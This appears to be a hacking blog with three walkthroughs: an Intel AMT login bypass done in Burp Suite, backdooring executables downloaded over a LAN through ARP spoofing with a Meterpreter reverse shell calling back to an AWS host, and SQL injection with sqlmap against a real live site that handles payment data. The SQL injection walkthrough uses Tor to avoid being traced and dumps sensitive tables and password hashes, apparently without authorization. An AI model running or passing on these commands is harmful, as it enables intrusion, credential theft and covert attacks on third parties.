Exploiting the Intel AMT Vulnerability with Burp Suite

On a somewhat recent engagement I discovered a number of open ports that I was not immediately familiar with. When this happens, I’ve found that it (almost) always pays to explore further… We can see that this range of ports is open on a number of hosts on this particular subnet. Additionally, as it turned out, there were many other hosts on other subnets also listening within this port range as well.


A more in-depth, nmap service scan provides us with more additional information about the service.

capture 2

A quick google search leads us to: https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr

Based on the httpd version number, all indications point to this host being vulnerable to CVE-2017-5689. Another nmap scan can validate this for us:


Now that we know our host is actually vulnerable the next step is figuring out how to exploit it. If you notice above, we can see that it says “…can be exploited by performing digest authentication and *sending a blank response*…”

Armed with this information, we can fire up Burp Suite and attempt to exploit the vulnerability. However, first, we need to hit the login page on our host:

capture 4

With Burp Suite now open AND “intercept” turned on (see below), we can input “admin” into the username field and click “ok”. We should see a response in the RAW data (see below)

capture 5

Next, we need to modify the “response” data and eliminate everything so that it’s blank:

capture 6

When we click the “Forward” button in Burp Suite (see bottom right of below screen shot), it should send our blank response back to the host and we should now be logged in – as seen here:

capture 7

Note: every time you switch between menu items within the AMT management console, you will need to blank out the digest response and “forward” the blank response back to the host – otherwise, you will be unable to navigate throughout the console. As a result, you’ll need to keep Burp Suite running side by site or easily accessible in the background.

Backdooring EXEs (on the fly) over HTTP/S on the LAN

Scenario: During an engagement, we are plugged directly into the client’s LAN with only basic network access. On this LAN there are a number of workstations – for example.

Objective: Get a shell on a host.

Required Items:

First, we need to create a executable that is not (hopefully) going to be picked up antivirus. Obviously, this is easier said than done; however, we will use Veil-Evasion 3.0 on our Kali box for this task. See below:


We need to remember the location of our executable (listed above in green) because we will need that file in a minute. (/usr/share/veil-output/compiled/google_updater.exe). Now would also be a good time to run/test your executable on a few systems to make sure that it’s not detected by the antivirus software on the client network (if known). In this instance , this particular executable is not detected by Windows Defender:

windows defender

Assuming BDF Proxy is properly installed (not covered here), we need to adjust the bdfproxy.cfg file to read as such after installation:


There are lots of other options for different architecture types (and other settings in general). I’m only showing x86 inside of one particular scenario. You may need to adjust the config file based on your needs/wants.

We can now start up BDF Proxy:


We also need to add the following two iptables rules on our Kali box:

iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 80 -j REDIRECT –to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 443 -j REDIRECT –to-port 8080


After we MiTM our victim (using arp spoofing) the iptables rules will effectively proxy tcp/80 and tcp/443 traffic over to BDF Proxy – which will handle the backdooring of the executable being downloaded.

Before we MiTM our victim (we’ll save that for the last step), we need to get our meterpreter handler setup. This is being done on a public AWS instance with metasploit-framework installed; however, one could do easily do host metasploit internally on the client’s LAN as well. Just remember that the LHOST specified in Veil (screenshot #4) is where our payload will call back to. In our case, we specified: aws.shellgam3.com. If your trying to catch shells across the Internet, remember you probably need to adjust NAT rules on your public side as well. In this case, we had to add a NAT rule for tcp/4444 to be directed/allowed to our AWS box.

We will run the following command to fire up metasploit framework and our handler:

msfconsole -x “use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST; set LPORT 4444; set exitonsession false; exploit -j”


With our handler running, we can now move forward with arp poisoning our victim on the LAN. Once the MiTM is in place, any executable downloaded by our victim will be replaced with our executable – yet the executable will retain the same name of the file being downloaded.

We’ll need to open up two different terminal windows and run the following commands to setup the MiTM: In this case = victim IP and = router IP:

arpspoof -i eth0 -t

arpspoof -i eth0 -t

Now, when our victim downloads an executable, most everything should look normal:

download of exe.PNG

However, on the backend (on our Kali box), we should notice a few things happening. In BDF Proxy, for example, we see that the victim’s executable is being replaced with our executable:


And if/when the victim runs the executable, we should (hopefully) have our meterpreter shell on our C2 box:


It should be noted that when our victim attempts to download an executable over https, they *will* receive a nasty certificate error. However, as long as the website does not have HSTS enabled, then the victim may opt to click past the certificate warning and download their file.

Finding & Exploiting SQL Injection Vulnerabilities

The objective of this post is to show how one might go about identifying a SQL injection vulnerability on a website and then exploiting that vulnerability by obtaining any sensitive information contained within the database.

First, we need to have a target.  In our case, we’re going to obfuscate the domain name of our target because it’s an actual working, live site with SQL injection vulnerabilities and they take credit information (ouch).  Obviously this is not good – so we don’t want to put them on blast.

Once we have a target domain, we need to think about our approach. First and foremost, before we can exploit a SQL injection vulnerability, we need to find one. There are a number of ways to hunt for them, but we’re going to use OWASP Zed Attack Proxy (ZAP) to help with automating discovery. ZAP may not be as robust as Burp Suite but it’s easy to use and what we’ve chosen. In the interest of ensuring our testing is not traced back to us, we’ve launched ZAP using the following commands:

service tor start
service tor status
root@kali:/usr/share/zaproxy# java -DsocksProxyHost= -DsocksProxyPort=9050 -jar zap-2.4.1.jar

We begin by plugging in our target domain name (as seen below) and clicking “Attack”.


The length of time it takes to fully scan a domain depends on a number of factors.  As ZAP finds vulnerabilities, they’ll be listed in the “Alerts” tab:


As you can see, ZAP has found a number of possible of areas within the site that are susceptible to SQL injection. ZAP is not really capable of exploiting any vulnerabilities that it discovers, so we need to another tool.  In this case, we’ve chosen sqlmap. Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

As mentinoed above, we want to ensure that our work is not traced back to us.  For this reason, we’re going to proxy our connections with switches built into sqlmap.  The full command we want to run is this:

sqlmap –tor –tor-type=SOCKS5 –check-tor –random-agent –dbs –dump -u http://domain-name-here.org/board/board.php?id=6


The following output from sqlmap indicates injection point vulnerabilities:



While some tables from the database contains non-sensitive information (like the one above), others contain very sensitive information:


We also obtained a list of usernames and password hashes when we dumped their databases…which could probably be cracked with minimal effort.


Happy Hacking!